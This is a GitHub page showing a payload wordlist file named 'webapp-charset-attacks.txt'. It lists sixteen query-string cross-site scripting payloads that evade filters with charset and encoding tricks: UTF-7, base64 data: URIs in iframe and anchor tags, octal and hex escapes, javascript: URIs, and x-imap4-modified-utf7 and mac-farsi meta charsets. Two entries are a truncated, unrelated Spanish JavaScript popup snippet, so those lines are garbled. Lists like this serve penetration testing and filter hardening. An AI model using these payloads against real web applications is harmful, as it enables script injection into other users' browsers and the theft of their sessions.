-
Notifications
You must be signed in to change notification settings - Fork 88
/
Copy pathwebapp-charset-attacks.txt
16 lines (16 loc) · 5.1 KB
/
webapp-charset-attacks.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
?charset0=+ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwByAGkAcAB0AD4
?charset1=PHNjcmlwdD5hbGVydCgvWFNTLyk8L3NjcmlwdD4==
?charset2=<a href=data:text/html;;base64a,PHNjcmlwdD5hbGVydCgvWFNTLyk8L3NjcmlwdD4>Test</a>
?charset3=<iframe src=data:text/html;base64,PHNjcmlwdD5hbGVydCgvWFNTLyk8L3NjcmlwdD4>
?charset4=<applet src=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgvWFNTLyk8L3NjcmlwdD4\" type=text/html>
?charset5=<script language="javascript">  // Creamos la clase  function popup ( ) {   // Atributo público inicializado a about:blank   this.url = 'about:blank';   // Atributo privado para el objeto window   var ventana = null;   // ...  }  ventana = new popup ();  ventana.url = 'http://www.programacionweb.net/';  </script>   
?charset6=\\47\\150\\151\\47\\51\\74\\57\\163\\143\\162\\151\\160\\164\\76
?charset7=\\74\\163\\143\\162\\151\\160\\164\\76\\141\\154\\145\\162\\164\\50\\47\\150\\151\\47\\51\\74\\57\\163\\143\\162\\151\\160\\164\\76
?charset8=javascript:alert(1)
?charset9=;nguage="javascript"> 
// Creamos la clase 
function popup ( ) { 
 // Atributo público inicializado a about:blank 
 this.url = 'about:blank'; 
 // Atributo privado para el objeto window 
 var ventana = null; 
 // ... 
} 
ventana = new popup (); 
ventana.url = 'http://www.programacionweb.net/'; 
</script> 
 
?charseta=\\x0000003c\\x0000073\\x0000063\\x0000072\\x0000069\\x0000070\\x0000074\\x000003e\\x0000061\\x000006c\\x0000065\\x0000072\\x0000074\\x0000028\\x0000032\\x0000029\\x000003c\\x000002f\\x0000073\\x0000063\\x0000072\\x0000069\\x0000070\\x0000074\\x000003e
?charsetb=javascript:alert(/XSS PUNCH!/)
?charsetc=+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);
?charsetd=<meta charset=\"x-imap4-modified-utf7\">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi
?charsete=<meta charset=\"x-imap4-modified-utf7\">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>
?charsetf=<meta charset=\"mac-farsi\">¼script¾alert(1)¼/script¾